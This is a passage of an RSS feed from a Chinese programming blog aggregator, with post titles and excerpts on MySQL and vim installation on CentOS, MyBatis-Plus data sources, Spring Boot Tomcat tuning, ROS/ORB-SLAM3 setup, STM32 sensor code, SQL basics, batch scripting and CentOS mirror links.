      <description>环境介绍&#xA;操作系统：Centos7.7&#xA;MySQL版本： 8.0.30&#xA;一、安装前准备 1.卸载MariaDB 安装MySQL的话会和MariaDB的文件冲突，所以需要先卸载掉MariaDB。&#xA;1.1 查看是否安装mariadb rpm -qa|grep mariadb 1.2 卸载 rpm -e --nodeps 文件名 1.3 检查是否卸载干净 rpm -qa|grep mariadb 2.检查依赖 2.1 查看是否安装libaio rpm -qa|grep libaio 如果没有安装则执行&#xA;yum -y install libaio //安装libaio 2.2 查看是否安装numactl rpm -qa|grep numactl 如果没有安装则执行&#xA;yum -y install numactl //安装numactl 二、安装MySQL 1.下载资源包 可以在官网下载安装包或者在服务器直接使用wget下载。&#xA;1.1 官网下载 MySQL官网下载地址:https://downloads.mysql.com/archives/community/&#xA;1.2 wget下载 wget https://cdn.mysql.com//Downloads/MySQL-8.0/mysql-8.0.30-el7-x86_64.tar 2.解压 注：本文安装包上传到了 /usr/local/ 目录下&#xA;进入安装包目录&#xA;cd /usr/local/ 拆分tar包&#xA;tar -xvf mysql-8.0.30-el7-x86_64.tar 解压安装包&#xA;tar -zxvf mysql-8.</description>
    </item>
    <item>
      <title>MyBatis-Plus多数据源dynamic-datasource解决多线程情境下数据源切换失效问题</title>
      <link>https://bchobby.github.io/posts/c0fde23f9e25029ba00ab80adb7a2508/</link>
      <pubDate>Sun, 23 Apr 2023 16:15:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0fde23f9e25029ba00ab80adb7a2508/</guid>
      <description>前言：项目中使用MyBatis-Plus多数据源dynamic-datasource，完成多数据源的切换；但是在并发场景下，我们会发现线程会一直访问默认数据源（配置的Master数据），并没有访问我们在上一步切换后的数据源，之前切换的数据源失效了；显然多数据源对于并发的处理并不友好，那么我们怎么解决这个问题呢。&#xA;本文是在springboot项目已集成dynamic-datasource 基础上延伸的问题，项目集成多数据源可以参考：Idea+maven+spring-cloud项目搭建系列–13 整合MyBatis-Plus多数据源dynamic-datasource&#xA;1 问题产生的原因：&#xA;问题的产生来源于多数据源com.baomidou.dynamic.datasource.toolkit 包下DynamicDataSourceContextHolder 类的问题，当我们打开这个类，会发现，存储当前线程的数据源使用了 ThreadLocal：&#xA;package com.baomidou.dynamic.datasource.toolkit; import java.util.ArrayDeque; import java.util.Deque; import org.springframework.core.NamedThreadLocal; import org.springframework.util.StringUtils; public final class DynamicDataSourceContextHolder { // 线程数据源的存储 private static final ThreadLocal&amp;lt;Deque&amp;lt;String&amp;gt;&amp;gt; LOOKUP_KEY_HOLDER = new NamedThreadLocal&amp;lt;Deque&amp;lt;String&amp;gt;&amp;gt;(&#34;dynamic-datasource&#34;) { protected Deque&amp;lt;String&amp;gt; initialValue() { return new ArrayDeque(); } }; private DynamicDataSourceContextHolder() { } public static String peek() { // 访问数据库时 从队列中peek 出来数据源 return (String)((Deque)LOOKUP_KEY_HOLDER.get()).peek(); } // 放入要切换的数据源 public static String push(String ds) { String dataSourceStr = StringUtils.</description>
    </item>
    <item>
      <title>报错： formRef.value.resetFields is not a function</title>
      <link>https://bchobby.github.io/posts/03fbd2ad533f39405201bd5d78de0a91/</link>
      <pubDate>Sun, 23 Apr 2023 16:12:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03fbd2ad533f39405201bd5d78de0a91/</guid>
      <description>let formRef = ref(“”);&#xA;// 添加按钮-打开&#xA;const additem = () =&amp;gt; {&#xA;console.log(“formRef.value”, formRef.value == “”);&#xA;if (formRef.value != “”) {&#xA;formRef.value.resetFields(); //重置表单&#xA;}&#xA;}&#xA;弹出这个错误大概是因为第一次点击弹框的时候弹框内本来就是初始值，并不需要 reset，所以可以在使用 resetFields 之前增加一个判断条件</description>
    </item>
    <item>
      <title>Ubuntu20.04的ROS环境安装ORB-SLAM3详解</title>
      <link>https://bchobby.github.io/posts/0cbd1462f3f1db011079b370fa1cb178/</link>
      <pubDate>Sun, 23 Apr 2023 15:39:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0cbd1462f3f1db011079b370fa1cb178/</guid>
      <description>视觉SLAM实验要在Ubuntu20.04系统上使用ROS跑ORB-SLAM3，熟悉一下特征点法的SLAM，把安装过程总结记录下来。&#xA;文章目录 一、配置版本信息二、替换镜像源三、安装ROS环境1、ROS简介2、小鱼安装 四、环境配置1、安装库（1）安装git，g++（2）安装cv_bridge库（3）安装Opencv①安装依赖项②下载Opencv源文件③安装OpenCV④查看版本号 （4）安装EIGEN库（5）安装Pangolin库①下载Pangolin 0.6②安装依赖项③编译安装④验证 （6）安装Boost库 2、ORB-SLAM3编译（1）下载ORB-SLAM3（2）修改源文件（3）安装python2.7（4）添加ROS环境（5）编译 五、ORB-SLAM3运行1、创建工作目录2、安装usb_cam3、编译usb_cam4、测试usb摄像头5、相机标定（1）安装v4l2（2）张正友相机标定方法（3）8×6的角点（4）保存标定结果（5）标定结果文件calibrationdata.tar.gz 6、数据保存（1）点击`save`按钮，终端会打印生成文件及路径（计算机目录/tmp下）（2）点击`commit`按钮，提交数据并退出程序，可以看到提示写入文件head_camera.yaml（3）修改Asus.yaml（4）相机矩阵参数 7、运行ROS下ORB-SLAM3（1）接收话题名称更改（2）执行单目实时usb_cam效果 六、总结 一、配置版本信息 系统版本ubuntu20.04Pangolin0.6Eigen3Opencv4.2usb_cam 二、替换镜像源 # 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-security main restricted universe multiverse # deb-src https://mirrors.</description>
    </item>
    <item>
      <title>mybatis 使用及 SQL 语句优化小结</title>
      <link>https://bchobby.github.io/posts/0770ef0954c4934780461824202d676c/</link>
      <pubDate>Sun, 23 Apr 2023 15:26:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0770ef0954c4934780461824202d676c/</guid>
      <description>一、mybatis 总结 1.mybatis 查询/更新语句，没有找到符合条件的记录，会返回什么? 返回类型为 String 的， 实际返回 null；&#xA;返回类型为对象的：实际返回 null ；&#xA;返回类型为列表等集合: 实际返回空集合[]；&#xA;返回类型为 Boolean：实际返回 false&#xA;当数据库语句插入条件不满足，会返回 false；比如使用 dual 的 SQL 语句；&#xA;2.mybatis 会抛出哪些常见异常？ 不是所有的异常，都认为程序出异常要报错，&#xA;比如用户重复收藏商品，可以直接返回成功，这时候对“违反唯一键”异常要特殊处理。&#xA;(1) 插入语句&#xA;DataIntegrityViolationException： 违反非空约束、数据大小超过约束&#xA;DuplicateKeyException：违反唯一键约束&#xA;CannotAcquireLockException: for update nowait 超时&#xA;(2)更新语句&#xA;条件不满足时，会返回 false&#xA;数据库操作应该判断返回值，比如下面 BUG：&#xA;(3) bug 类，表字段找不到等场景&#xA;MyBatisSystemException&#xA;BadSqlGrammarException&#xA;3.事务里面套用 for update，看上去绕过了事务 等 for update 获取锁后，select 出来的是最新的数据&#xA;4.for update 是一种行级锁，又叫排它锁 一旦用户对某个行施加了行级加锁，则该用户可以查询也可以更新被加锁的数据行，其它用户只能查询但不能更新被加锁的数据行；&#xA;如果查询条件带有主键，会锁行数据，如果没有，会锁表。&#xA;如果一定要用 FOR UPDATE，建议加上 NOWAIT 或 for update wait 3</description>
    </item>
    <item>
      <title>vim: command not found</title>
      <link>https://bchobby.github.io/posts/ece723c5e02a073aeeee5872a8cd64ca/</link>
      <pubDate>Sun, 23 Apr 2023 14:37:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ece723c5e02a073aeeee5872a8cd64ca/</guid>
      <description> 1. 查看系统是否安装完整vim 执行一下命令&#xA;rpm -qa|grep vim 如果已经正确安装的话，会显示如下三行&#xA;vim-enhanced-7.0.109-7.el5 vim-minimal-7.0.109-7.el5 vim-common-7.0.109-7.el5 2. 安装vim 如果少了其中的某一条，比如 vim-enhanced 的，就用命令 yum -y install vim-enhanced 来安裝&#xA;yum -y install vim-enhanced 如果上面的三条一条都沒有返回，可以直接用 yum -y install vim* 命令&#xA;yum -y install vim* </description>
    </item>
    <item>
      <title>如何将 Nacos 嵌入到开发项目中？</title>
      <link>https://bchobby.github.io/posts/2db3b702e39770d84dc9225ba7a4209c/</link>
      <pubDate>Sun, 23 Apr 2023 14:36:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2db3b702e39770d84dc9225ba7a4209c/</guid>
      <description>1. 启动Naocs 1. 下载源码 https://github.com/alibaba/nacos/releases/tag/2.0.3&#xA;2. 将项目导入IDEA中，配置指定资源为Nexus的settings-nexus.xml文件 &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;settings xmlns=&#34;http://maven.apache.org/SETTINGS/1.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd&#34;&amp;gt; &amp;lt;!-- 配置本地jar包存放路径 --&amp;gt; &amp;lt;localRepository&amp;gt;D:/repository&amp;lt;/localRepository&amp;gt; &amp;lt;pluginGroups&amp;gt;&amp;lt;/pluginGroups&amp;gt; &amp;lt;proxies&amp;gt;&amp;lt;/proxies&amp;gt; &amp;lt;servers&amp;gt; &amp;lt;!-- 配置从nexus私服下载jar包所需要的账号密码 --&amp;gt; &amp;lt;server&amp;gt; &amp;lt;id&amp;gt;nexus&amp;lt;/id&amp;gt; &amp;lt;username&amp;gt;admin&amp;lt;/username&amp;gt; &amp;lt;password&amp;gt;admin123&amp;lt;/password&amp;gt; &amp;lt;/server&amp;gt; &amp;lt;!-- 配置往nexus私服上传jar包所需要的账号密码 --&amp;gt; &amp;lt;server&amp;gt; &amp;lt;!--注意这个id 需要和pom.xml的对应--&amp;gt; &amp;lt;id&amp;gt;maven-releases&amp;lt;/id&amp;gt; &amp;lt;username&amp;gt;admin&amp;lt;/username&amp;gt; &amp;lt;password&amp;gt;admin123&amp;lt;/password&amp;gt; &amp;lt;/server&amp;gt; &amp;lt;!-- 配置往nexus私服上传jar包所需要的账号密码 --&amp;gt; &amp;lt;server&amp;gt; &amp;lt;!--注意这个id 需要和pom.xml的对应--&amp;gt; &amp;lt;id&amp;gt;maven-snapshots&amp;lt;/id&amp;gt; &amp;lt;username&amp;gt;admin&amp;lt;/username&amp;gt; &amp;lt;password&amp;gt;admin123&amp;lt;/password&amp;gt; &amp;lt;/server&amp;gt; &amp;lt;/servers&amp;gt; &amp;lt;!-- 配置镜像代理 --&amp;gt; &amp;lt;mirrors&amp;gt; &amp;lt;mirror&amp;gt; &amp;lt;id&amp;gt;nexus&amp;lt;/id&amp;gt; &amp;lt;mirrorOf&amp;gt;*&amp;lt;/mirrorOf&amp;gt;&amp;lt;!-- 配置为*的意思是将所有请求都转发到镜像仓库上 --&amp;gt; &amp;lt;url&amp;gt;http://172.16.150.132:8084/repository/maven-public/&amp;lt;/url&amp;gt; &amp;lt;/mirror&amp;gt; &amp;lt;!--这2个备用 以免在外网环境连不上私服--&amp;gt; &amp;lt;!-- &amp;lt;mirror&amp;gt;--&amp;gt; &amp;lt;!-- &amp;lt;id&amp;gt;alimaven&amp;lt;/id&amp;gt;--&amp;gt; &amp;lt;!-- &amp;lt;mirrorOf&amp;gt;central&amp;lt;/mirrorOf&amp;gt;--&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>【计算机基础】绝对路径和相对路径</title>
      <link>https://bchobby.github.io/posts/6aa48e2a3df004a9a653fb66c29dfd6b/</link>
      <pubDate>Sun, 23 Apr 2023 14:33:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6aa48e2a3df004a9a653fb66c29dfd6b/</guid>
      <description> 目录&#xA;一.绝对路径&#xA;二.相对路径&#xA;例如&#xA;三.举例&#xA;一.绝对路径 绝对路径是指从根目录开始的完整路径，包括所有父目录的路径，直到目标文件或者目录&#xA;所在的位置。&#xA;全文件名=全路径文件名=绝对路经=完整的路径&#xA;例如，在windows系统中，绝对路径通常以盘符（例如C：\)开始，而在Unix/Linux系统中&#xA;绝对路径通常以斜杠（例如 /)开始。&#xA;二.相对路径 相对路径是指相对于当前目录的路径。当前工作目录是指用户当前正在工作的目录。&#xA;例如 1.在windows系统中，如果当前目录为C:\Users\UserName.要访问这个目录下&#xA;的“Documents&#34;文件夹，可以使用相对路径 ..\Documents。&#xA;2.在Unix/Linux系统中，如果当前工作目录为/home/User/Name，要访问这个目录下的&#xA;”Desktop&#34;文件夹，可以使用相对路径../../Desktop。&#xA;三.举例 Windows文件系统的目录结构（C盘下）如下图所示，假设用户要访问文件f2.java,则该文件&#xA;的全文件名为_____。若系统当前工作目录为programFile,那么该文件下的相对路径为&#xA;——————。&#xA;1.全文件名： C：\ProgramFile\java-prog\f2.java&#xA;全文件名=全路径文件名=绝对路经=完整的路径&#xA;2.当前工作目录为ProgramFile,该文件的相对路径为 相对于当前目录的相对路径为 “java-prog\f2.java&#34;&#xA;相对于磁盘根目录的相对路径 ” \ProgramFile\java-prog\f2.java “ </description>
    </item>
    <item>
      <title>CentOS7 安装MySQL 8.0</title>
      <link>https://bchobby.github.io/posts/104b47cef89bf64c31c9aecc6583e05c/</link>
      <pubDate>Sun, 23 Apr 2023 14:26:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/104b47cef89bf64c31c9aecc6583e05c/</guid>
      <description>目录&#xA;1. 在usr/local目录下创建mysql安装目录：&#xA;2. 将资源放在MySQL文件下&#xA;3. 解压到当前目录,mysql-8.0.18-1.el7.x86_64.rpm-bundle.tar&#xA;4. 查看 mariadb 的安装包&#xA;5. 卸载mariadb&#xA;6. 依次安装&#xA;7. 查看已安装资源&#xA;8. 初始化&#xA;9. 使用root用户登录mysql ,并修改root用户密码&#xA;10. 远程连接&#xA;11. 开启端口&#xA;12. 测试远程连接&#xA;注：安装之前准备&#xA;yum install -y perl-Module-Install.noarch yum install -y perl yum install net-tools 1. 在usr/local目录下创建mysql安装目录 cd /usr/local mkdir soft/mysql 2. 将资源放在MySQL文件下 3. 解压到当前目录,mysql-8.0.18-1.el7.x86_64.rpm-bundle.tar tar -xvf mysql-8.0.18-1.el7.x86_64.rpm-bundle.tar 4. 查看 mariadb 的安装包 rpm -qa | grep mariadb 5. 卸载mariadb rpm -e mariadb-libs-5.5.60-1.el7_5.x86_64 --nodeps 6. 依次安装 rpm -ivh mysql-community-common-8.</description>
    </item>
    <item>
      <title>springboot 如何配置tomcat信息</title>
      <link>https://bchobby.github.io/posts/53db98604137fdf1c24e2a2c900fab5d/</link>
      <pubDate>Sun, 23 Apr 2023 12:23:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53db98604137fdf1c24e2a2c900fab5d/</guid>
      <description>前言 前两天面试的时候，面试官问我：一个ip发请求过来，是一个ip对应一个线程吗？我突然愣住了，对于SpringBoot如何处理请求好像从来没仔细思考过，所以面试结束后就仔细研究了一番，现在就来探讨一下这个问题。&#xA;正文 我们都知道，SpringBoot默认的内嵌容器是Tomcat，也就是我们的程序实际上是运行在Tomcat里的。所以与其说SpringBoot可以处理多少请求，到不如说Tomcat可以处理多少请求。&#xA;关于Tomcat的默认配置，都在spring-configuration-metadata.json文件中，对应的配置类则是org.springframework.boot.autoconfigure.web.ServerProperties。&#xA;和处理请求数量相关的参数有四个：&#xA;server.tomcat.threads.min-spare：最少的工作线程数，默认大小是10。该参数相当于长期工，如果并发请求的数量达不到10，就会依次使用这几个线程去处理请求。server.tomcat.threads.max：最多的工作线程数，默认大小是200。该参数相当于临时工，如果并发请求的数量在10到200之间，就会使用这些临时工线程进行处理。server.tomcat.max-connections：最大连接数，默认大小是8192。表示Tomcat可以处理的最大请求数量，超过8192的请求就会被放入到等待队列。server.tomcat.accept-count：等待队列的长度，默认大小是100。 举个例子说明一下这几个参数之间的关系：&#xA;如果把Tomcat比作一家饭店的话，那么一个请求其实就相当于一位客人。min-spare就是厨师(长期工)；max是厨师总数(长期工+临时工)；max-connections就是饭店里的座位数量；accept-count是门口小板凳的数量。来的客人优先坐到饭店里面，然后厨师开始忙活，如果长期工可以干的完，就让长期工干，如果长期工干不完，就再让临时工干。图中画的厨师一共15人，饭店里有30个座位，也就是说，如果现在来了20个客人，那么就会有5个人先在饭店里等着。如果现在来了35个人，饭店里坐不下，就会让5个人先到门口坐一下。如果来了50个人，那么饭店座位+门口小板凳一共40个，所以就会有10人离开。&#xA;也就是说，SpringBoot同时所能处理的最大请求数量是max-connections+accept-count，超过该数量的请求直接就会被丢掉。&#xA;纸上得来终觉浅，绝知此事要躬行。&#xA;上面只是理论结果，现在通过一个实际的小例子来演示一下到底是不是这样：&#xA;创建一个SpringBoot的项目，在application.yml里配置一下这几个参数，因为默认的数量太大，不好测试，所以配小一点：&#xA;server: tomcat: threads: # 最少线程数 min-spare: 10 # 最多线程数 max: 15 # 最大连接数 max-connections: 30 # 最大等待数 accept-count: 10 复制代码 再来写一个简单的接口：&#xA;@GetMapping(&#34;/test&#34;) public Response test1(HttpServletRequest request) throws Exception { log.info(&#34;ip:{},线程:{}&#34;, request.getRemoteAddr(), Thread.currentThread().getName()); Thread.sleep(500); return Response.buildSuccess(); } 复制代码 代码很简单，只是打印了一下线程名，然后休眠0.5秒，这样肯定会导致部分请求处理一次性处理不了而进入到等待队列。&#xA;然后我用Apifox创建了一个测试用例，去模拟100个请求：&#xA;观察一下测试结果：&#xA;从结果中可以看出，由于设置的 max-connections+accept-count 的和是40，所以有60个请求会被丢弃，这和我们的预期是相符的。由于最大线程是15，也就是有25个请求会先等待，等前15个处理完了再处理15个，最后在处理10个，也就是将40个请求分成了15,15,10这样三批进行处理。&#xA;再从控制台的打印日志可以看到，线程的最大编号是15，这也印证了前面的想法。&#xA;总结一下：如果并发请求数量低于server.tomcat.threads.max，则会被立即处理，超过的部分会先进行等待，如果数量超过max-connections与accept-count之和，则多余的部分则会被直接丢弃。&#xA;延伸：并发问题是如何产生的 到目前为止，就已经搞明白了SpringBoot可以同时处理多少请求的问题。但是在这里我还想基于上面的例子再延伸一下，就是为什么并发场景下会出现一些值和我们预期的不一样？&#xA;设想有以下场景：厨师们用一个账本记录一共做了多少道菜，每个厨师做完菜都记录一下，每次记录都是将账本上的数字先抄到草稿纸上，计算x+1等于多少，然后将计算的结果写回到账本上。&#xA;Spring容器中的Bean默认是单例的，也就是说，处理请求的Controller、Service实例就只有一份。在并发场景下，将cookSum定义为全局变量，是所有线程共享的，当一个线程读到了cookSum=20，然后计算，写回前另一个线程也读到是20，两个线程都加1后写回，最终cookSum就变成了21，但是实际上应该是22，因为加了两次。&#xA;private int cookSum = 0; ​ @GetMapping(&#34;/test&#34;) public Response test1(HttpServletRequest request) throws Exception { // 做菜。。。。。。 cookSum += 1; log.</description>
    </item>
    <item>
      <title>HC-SR04超声波传感器测距（学习笔记）</title>
      <link>https://bchobby.github.io/posts/2c42e7d855c2bef5c5b6bd9c6582aacd/</link>
      <pubDate>Sun, 23 Apr 2023 11:31:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c42e7d855c2bef5c5b6bd9c6582aacd/</guid>
      <description>1、任务 利用HC-SR04超声波传感器进行测距实验，通过stm32单片机板载的按键实现手动触发测距，将测得的距离显示在OLED屏上。&#xA;2、工作原理 a.单片机IO向HC-SR04的Trig接口发送一个持续时间大于10us的高电平信号；&#xA;b.HC-SR04接收到来自单片机的信号后，自动发送8个频率为4KHz的方波，方波遇到障碍物后会反射，HC-SR04会自动检测反射回来的信号；&#xA;c.HC-SR04的Trig接口接收到单片机高电平信号自动发送方波的同时，Echo接口向单片机IO口发送高电平信号，当HC-SR04接收到返回信号时，Echo接口向单片机IO发送低电平信号，高电平持续的时间就是超声波从发射到返回的总时间T，此时空气中的声速为v，则测得的距离S=（T*v）/2。&#xA;3、硬件 a.硬件：HC-SR04传感器、OLED显示屏、stm32F103C8T6单片机&#xA;b.接线：VCC——单片机5V GND——单片机GND Trig——PA6(TIM3_CH1) Echo——PA7(TIM3_CH2)&#xA;4、代码实现 代码思路：利用定时器中断获取高电平持续时间，将TIM3重装载周期设为1000次，每次1us，当Echo上升沿时开启TIM3，TIM3将每1ms进入中断，在中断函数中记录中断次数，多少次中断就是多少ms，再获取TIM3的计数寄存器值，寄存器值为0~1000，即0us~1000us。&#xA;定时时间：Tout=((arr+1)*(psc+1))/Tclk&#xA;Tclk:TIMx的输入时钟频率（单位MHz，一般是72MHz）&#xA;Tout:TIMx的溢出时间，即定时时间（单位us）&#xA;arr:自动重装载寄存器周期的值，自定&#xA;psc:时钟频率除数的预分频值&#xA;hcsr.c #include &#34;hcsr.h&#34; #include &#34;sys.h&#34; #include &#34;delay.h&#34; //定时时间=((arr+1)*(psc+1))/72MHz=1000us=1ms u32 arr=1000-1; u32 psc=72-1; u32 HcCount=0; //ms计数 //初始化 void HcsrInit(void) { TIM_TimeBaseInitTypeDef TIM_TimeBaseStructure; GPIO_InitTypeDef GPIO_InitStructure; NVIC_InitTypeDef NVIC_InitStructure; //使能RCC时钟 RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA, ENABLE); RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM3, ENABLE); //PA6 Trig 发送电平引脚 GPIO_InitStructure.GPIO_Pin=GPIO_Pin_6; GPIO_InitStructure.GPIO_Mode=GPIO_Mode_Out_PP; GPIO_InitStructure.GPIO_Speed=GPIO_Speed_50MHz; GPIO_Init(GPIOA, &amp;amp;GPIO_InitStructure); GPIO_ResetBits(GPIOA, GPIO_Pin_6); //PA7 Echp 接收电平引脚 GPIO_InitStructure.GPIO_Pin=GPIO_Pin_7; GPIO_InitStructure.GPIO_Mode=GPIO_Mode_IN_FLOATING; GPIO_Init(GPIOA,&amp;amp;GPIO_InitStructure); GPIO_ResetBits(GPIOA,GPIO_Pin_7); //PA0 KEY GPIO_InitStructure.GPIO_Pin=GPIO_Pin_0; GPIO_InitStructure.</description>
    </item>
    <item>
      <title>Visual Studio的安装注意</title>
      <link>https://bchobby.github.io/posts/6b9311588cc66beeaaeaf81b34c8f089/</link>
      <pubDate>Sun, 23 Apr 2023 09:59:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b9311588cc66beeaaeaf81b34c8f089/</guid>
      <description>本文目前包含的内容：&#xA;Visual Studio版本选择工作负载组建的选择安装后的环境配置 目录 1. 安装前1. 安装过程中2. 安装后注意 1. 安装前 安装版本选择：&#xA;一定不要选最新的版本，选3-5年前的稳定版本！新版本会出很多bug。 1. 安装过程中 安装的工作负载选择：注意一定要选择c++桌面开发，右侧圈出来的两个也一定到选上 2. 安装后注意 安装后不要删除安装过程中设置的缓存文件夹，如果缓存文件删除了，再打开安装的install.exe就找不到本机上已经安装的vs2022了，也没法对其进行删除、卸载和更改了。&#xA;安装后环境配置：&#xA;下述三个路径中“D:\VS2022\VS2022”是visual studio在电脑上的安装路径&#xA;下述路径汇中的“D:\Windows Ktis\10”在visual studio所安装的盘下&#xA;1）Path:&#xA;D:\VS2022\VS2022\Common7\IDE&#xA;D:\VS2022\VS2022\VC\Tools\MSVC\14.35.32215\bin\Hostx64\x64&#xA;2）INCLUDE：&#xA;D:\VS2022\VS2022\VC\Tools\MSVC\14.35.32215\bin\Hostx64\x64&#xA;3）LIB:&#xA;D:\VS2022\VS2022\VC\Tools\MSVC\14.35.32215\lib\x64</description>
    </item>
    <item>
      <title>二十、SQL 数据分析基础与进阶（一）</title>
      <link>https://bchobby.github.io/posts/19b5ced1b521100ff58e8d0fb6df90ca/</link>
      <pubDate>Sun, 23 Apr 2023 01:43:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19b5ced1b521100ff58e8d0fb6df90ca/</guid>
      <description>文章目录 一、破冰 SELECT 基础检索1.1 检索所需要的列1.1.1 检索单列数据1.1.2 检索多列数据 1.2 * 符号初体验1.3 独特的 DISTINCT1.4 使用 ORDER BY 排序检索结果1.5 使用 LIMIT 限制返回行数1.6 ORDER BY 与 LIMIT 结合的妙用 二、过滤数据，选你所想三、计算字段真奇妙四、常用的聚合函数五、分组的意义六、SELECT 语句的执行顺序 说明：本文对前面学习的 SQL 查询语句进行总结复习。&#xA;一、破冰 SELECT 基础检索 1.1 检索所需要的列 1.1.1 检索单列数据 语法：&#xA;SELECT &amp;lt;列名&amp;gt; FROM &amp;lt;数据库名&amp;gt;.&amp;lt;数据表名&amp;gt;; 员工信息表包括 employee_id（员工 ID）、employee_name（员工姓名）、age（年龄）、gender（性别）和 salary（薪资）5 个字段，一共有 5 条数据记录。如下图所示：&#xA;准备工作，创建表并插入数据，SQL 代码如下：&#xA;DROP TABLE IF EXISTS employee_info; CREATE TABLE employee_info ( employee_id VARCHAR (8), employee_name VARCHAR (8), age INT, gender VARCHAR (8), salary INT ); INSERT employee_info ( employee_id, employee_name, age, gender, salary ) VALUES (&#39;e001&#39;, &#39;Bob&#39;, 28, &#39;male&#39;, 8000), (&#39;e002&#39;, &#39;Alice&#39;, 25, &#39;female&#39;, 6000), (&#39;e003&#39;, &#39;David&#39;, 26, &#39;male&#39;, 9000), (&#39;e004&#39;, &#39;Kitty&#39;, 30, &#39;female&#39;, 11000), (&#39;e005&#39;, &#39;Allen&#39;, 24, &#39;male&#39;, 5500); 【练习1】查询单列数据。如查询员工姓名，代码如下：</description>
    </item>
    <item>
      <title>Bat批处理脚本for /F语句扩展详解</title>
      <link>https://bchobby.github.io/posts/8764fb1109de55c85a2644ed8f7aa3c4/</link>
      <pubDate>Sat, 22 Apr 2023 20:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8764fb1109de55c85a2644ed8f7aa3c4/</guid>
      <description>for /F 扩展，功能强大，可以解析文本、切分字符串、定点提取、跳过无关内容、忽略以指定字符开头的行等等，主要用来处理文件和一些命令的输出结果。&#xA;1. for /F 基本用法 语法格式：&#xA;FOR /F [&#34;options&#34;] %variable IN (file-set) DO command [command-parameters] FOR /F [&#34;options&#34;] %variable IN (&#34;string&#34;) DO command [command-parameters] FOR /F [&#34;options&#34;] %variable IN (&#39;command&#39;) DO command [command-parameters] rem 翻译一下就是： for /f %%i in (文件名) do (……) for /f %%i in (&#39;命令语句&#39;) do (……) for /f %%i in (&#34;字符串&#34;) do (……) file-set 为一个或多个文件名。options 可选参数，包括一个或多个指定不同解析选项的关键字，这些关键字包括eol=c、skip=n、delims=xxx、tokens=x,y,m-n、usebackq，后面将一一介绍。 先来看一个简单的实例：解析test.txt文本中的内容&#xA;@echo off for /F %%i in (test.txt) do echo %%i pause 运行结果：</description>
    </item>
    <item>
      <title>centos 7 下载链接，mini版本</title>
      <link>https://bchobby.github.io/posts/d159a174818a7cb6fbfbf5b61aaa281b/</link>
      <pubDate>Sat, 22 Apr 2023 19:58:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d159a174818a7cb6fbfbf5b61aaa281b/</guid>
      <description>CentOS7镜像源&#xA;http://mirrors.zju.edu.cn/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirrors.aliyun.com/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirrors.163.com/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirrors.shu.edu.cn/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirrors.tuna.tsinghua.edu.cn/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirrors.huaweicloud.com/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirrors.cqu.edu.cn/CentOS/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://ftp.sjtu.edu.cn/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://centos.ustc.edu.cn/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirror.bit.edu.cn/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirrors.nwsuaf.edu.cn/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirrors.njupt.edu.cn/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirrors.nju.edu.cn/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirrors.cn99.com/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirrors.neusoft.edu.cn/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirror.lzu.edu.cn/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso Nearby Countries - http://ftp.yzu.edu.tw/Linux/CentOS/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://ftp.stu.edu.tw/Linux/CentOS/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://ftp.isu.edu.tw/pub/Linux/CentOS/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://linux.cs.nctu.edu.tw/CentOS/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://ftp.tc.edu.tw/Linux/CentOS/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://ftp.twaren.net/Linux/CentOS/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso 